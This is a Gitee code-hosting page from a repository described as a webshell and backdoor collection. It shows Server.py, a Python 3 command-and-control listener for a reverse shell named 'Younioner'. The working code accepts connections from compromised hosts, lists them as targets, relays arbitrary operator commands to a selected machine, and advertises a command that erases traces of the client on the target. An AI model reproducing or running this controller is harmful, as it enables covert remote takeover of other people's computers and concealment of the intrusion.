开源 企业版 高校版 私有云 模力方舟 AI 队友
代码拉取完成,页面将自动刷新
加入 Gitee
与超过 1400万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
已有帐号? 立即登录
文件
master
分支 (1)
master
该仓库未声明开源许可证文件(LICENSE),使用请关注具体项目描述及其代码上游依赖。
项目仓库所选许可证以仓库主分支所使用许可证为准
master
分支 (1)
master
克隆/下载
克隆/下载
提示
下载代码请复制以下命令到终端执行
为确保你提交的代码身份被 Gitee 正确识别,请执行以下命令完成配置
初次使用 SSH 协议进行代码克隆、推送等操作时,需按下述提示完成 SSH 配置
1 生成 RSA 密钥
2 获取 RSA 公钥内容,并配置到 SSH公钥
在 Gitee 上使用 SVN,请访问 使用指南
使用 HTTPS 协议时,命令行会出现如下账号密码验证步骤。基于安全考虑,Gitee 建议 配置并使用私人令牌 替代登录密码进行克隆、推送等操作
Username for 'https://gitee.com': userName
Password for 'https://userName@gitee.com': # 私人令牌
master
分支 (1)
master
WebShell
/
python
/
python3
/
Server.py
WebShell
/
python
/
python3
/
Server.py
Server.py 7.87 KB
一键复制 编辑 原始数据 按行查看 历史
xl7dev 提交于 2017年04月11日 18:45 +08:00 . add python3 reverse shell
from socket import *
import time
import threading
import sys
import os
from queue import Queue
queue = Queue()
host = '192.168.1.88' # your computer ip
port = 4343
class Server:
def __init__(self, _host, _port=3434, _max_client=20):
# Variables used in this class are here
self.host = _host
self.port = _port
self.max_client = _max_client # max amount of expected connections
# once any client connected
self.all_connection = [] # the connections will be stored here.
self.all_addresses = [] # the addresses will be stored here.
# create socket
def open_socket(self):
try:
self.s = socket(AF_INET, SOCK_STREAM)
self.s.bind((self.host, self.port))
logo = "__ __ _ ____ \n" \
"\ \ / /__ _ _ _ __ (_) ___ _ __ ___| _ \ \n" \
" \ V / _ \| | | | '_ \| |/ _ \| '_ \ / _ \ |_) | \n" \
" | | (_) | |_| | | | | | (_) | | | | __/ _ < \n" \
" |_|\___/ \__,_|_| |_|_|\___/|_| |_|\___|_| \_\ \n"
print("\n\tWelcome to Younioner V1.1")
print(logo)
print('Created by Ayoub Ouakkaha, please visit our website www.ouakkaha.com')
print('\ncontact us at contact@ouakkaha.com, type help to display available commands.')
# listen for one connection :)
self.s.listen(self.max_client)
except error as e:
print("** Oops Something went wrong error code ", e)
time.sleep(5) # wait for 5s and try again
self.open_socket()
# accept incoming connection
def accept_connection(self):
for c in self.all_connection: # close the connection list
c.close()
del self.all_connection[:] # clean connection list
del self.all_addresses[:] # clean addresses list
while True:
try:
conn, address = self.s.accept()
conn.setblocking(1)
self.all_connection.append(conn)
self.all_addresses.append(address)
print("\n* new Connection has been established from {} on {}".format(address[0], address[1]))
print("\nYounioner> ", end="")
except error as e:
print("something went wrong while accepting new connection\n error code: {} \n".format(str(e)))
# Interactive shell for sending command remotely
def start_younioner(self):
while True:
cmd = str(input("Younioner> "))
cmd = cmd.lower()
cmd_stripped = cmd.strip()
if cmd.strip() == 'list':
self.list_connections()
continue
elif cmd.strip() == "help":
self.displayHelp()
elif cmd_stripped.startswith("select"): # check command start with `select` word
conn = self.get_target(cmd)
if conn is not None:
self.send_commands(conn)
elif cmd_stripped == "quit":
self.exit()
else:
print("{} Command not recognized..".format(cmd))
# Display the help menu
def displayHelp(self):
"""Display The help menu"""
help = "\nthis section will help to understand the basic commands: " \
"\n\nlist............ It will list availabel connection..Usage(just type : `list`)"\
"\n\nselect.......... used to select a connection to target.. the target number needs be availabel on list section Usage(select 1) or change the number 1 to the target ID"\
"\n\nquit............ used to close the current connection .. or if you don't have one it will close the script"\
"\n\nhelp............ as you might guess, it will print the help Menu, which you're looking to now.:)"\
"\n\nend-of-session.. this is really advance command..this command will delet your trace from the target command, for example it will delet the current running script on the target command which is(Client) "\
"\n\nIf you liked Our app and you want to help us for providing more and more.. please contact us at contact@ouakkaha.com or visit my site www.ouakkaha.com\nanyway thanks for using my app, be sure to have a greate day :)"
print(help)
# Exit Reverse Shell
def exit(self):
for c in self.all_connection:
try:
c.send(str.encode("end-of-session"))
c.shutdown(2)
c.close()
except Exception as e:
print('Could not close connection ' + str(e))
self.s.close()
print("\n Good By, please have a nice day :) ")
# this will be over need but believe me, some times the module refuse to exit..
# this is why i try each of this method cause at the end one of theme should work..
os._exit(0)
sys.exit()
quit(0)
exit(0)
# this will display all current connection
def list_connections(self):
rs = ''
for i, conn in enumerate(self.all_connection): # Enumerate will count number of loop
try: # we will test if conn are working..
conn.send(str.encode(' ')) # send blank to test if conn is working.,
conn.recv(20240)
except: # this will ocure if conn is null
del self.all_connection[i]
del self.all_addresses[i]
continue # go to next loop do not execut the next line..
rs += str(i) + '\t' + str(self.all_addresses[i][0]) + '\t' + str(self.all_addresses[i][1]) + '\n'
print("Currently Available Targets")
print("ID\tIP\t\t\t\tPORT\n" + rs)
# Select a target client
def get_target(self, cmd):
target = cmd.replace('select ', '')
try:
target = int(target)
except:
print("Target index should be integer.")
return None
try:
conn = self.all_connection[target]
except:
print("Not Invalid Selection..")
return None
print("You are now connected to", self.all_addresses[target][0])
print("Younioner.{} >> ".format(self.all_addresses[target][0]), end="")
return conn
# Connect with the target
def send_commands(self, conn):
while True:
try:
cmd = str(input())
if len(cmd) > 0:
conn.send(str.encode(cmd))
client_response = str(conn.recv(20480), "utf-8")
print(client_response, end="")
# confirm quit
if cmd == "quit":
print("\nAre you sure, the socket will be closed for this moment..")
confirm = str.upper(input("\t N / y >> "))
if confirm == "Y":
break
except:
print("[!] Connection was lost ")
break
# Setting up threads
def setup_threads():
server = Server('', port)
for _ in range(2):
t = threading.Thread(target=work, args=(server,))
t.daemon = True # It means when the script got closed the thread also will exit from process
t.start()
return
# Do the next job in the queue(1: handles connection, other sends commands and get response back)
def work(server):
while True:
x = queue.get()
if x == 0: # 0: handles connection
server.open_socket()
server.accept_connection()
if x == 1: # 1: sends commands to target machine
server.start_younioner()
queue.task_done() # [Done] jobs are done with success
return
# Each list item is a new job
def create_jobs():
for x in range(2):
queue.put(x)
queue.join()
return
# the main function
def main():
setup_threads()
create_jobs()
if __name__ == '__main__':
main()
Loading...
举报
举报成功
我们将于2个工作日内通过站内信反馈结果给你!
请认真填写举报原因,尽可能描述详细。
请选择举报类型
取消
发送
误判申诉

此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。

如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。

取消
提交

简介

Webshell && Backdoor Collection
取消

发行版

暂无发行版

贡献者

全部

近期动态

不能加载更多了
编辑仓库简介
简介内容
主页
马建仓 AI 助手
尝试更多
代码解读
代码找茬
代码优化
其他
1
https://gitee.com/byhandsome/WebShell.git
git@gitee.com:byhandsome/WebShell.git
byhandsome
WebShell
WebShell
master
点此查找更多帮助

搜索帮助

评论
仓库举报
回到顶部
登录提示
该操作需登录 Gitee 帐号,请先登录后再操作。
立即登录
没有帐号,去注册

AltStyle によって変換されたページ (->オリジナル) /